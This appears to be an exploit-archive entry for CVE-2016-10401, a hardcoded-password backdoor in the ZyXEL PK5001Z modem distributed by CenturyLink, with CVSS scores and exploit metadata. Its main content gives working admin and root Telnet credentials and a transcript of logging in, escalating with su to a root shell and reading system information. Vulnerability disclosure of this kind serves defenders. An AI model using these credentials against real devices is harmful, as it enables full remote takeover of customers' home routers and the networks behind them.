ZyXEL PK5001Z Modem Backdoor Account

2017.11.01
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password. # Google Dork: n/a # Date: 2017-10-31 # Exploit Author: Matthew Sheimo # Vendor Homepage: https://www.zyxel.com/ # Software Link: n/a # Version: PK5001Z 2.6.20.19 # Tested on: Linux # About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world. # Linked CVE's: CVE-2016-10401 Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet username: admin password: CenturyL1nk Escalate to root with 'su' and this password. password: zyad5001 [root:/]# telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. PK5001Z login: admin Password: CenturyL1nk $ whoami admin_404A03Tel $ su Password: zyad5001 # whoami root # uname -a Linux PK5001Z 2.6.20.19 #54 Wed Oct 14 11:17:48 CST 2015 mips unknown # cat /etc/zyfwinfo Vendor Name: ZyXEL Communications Corp.


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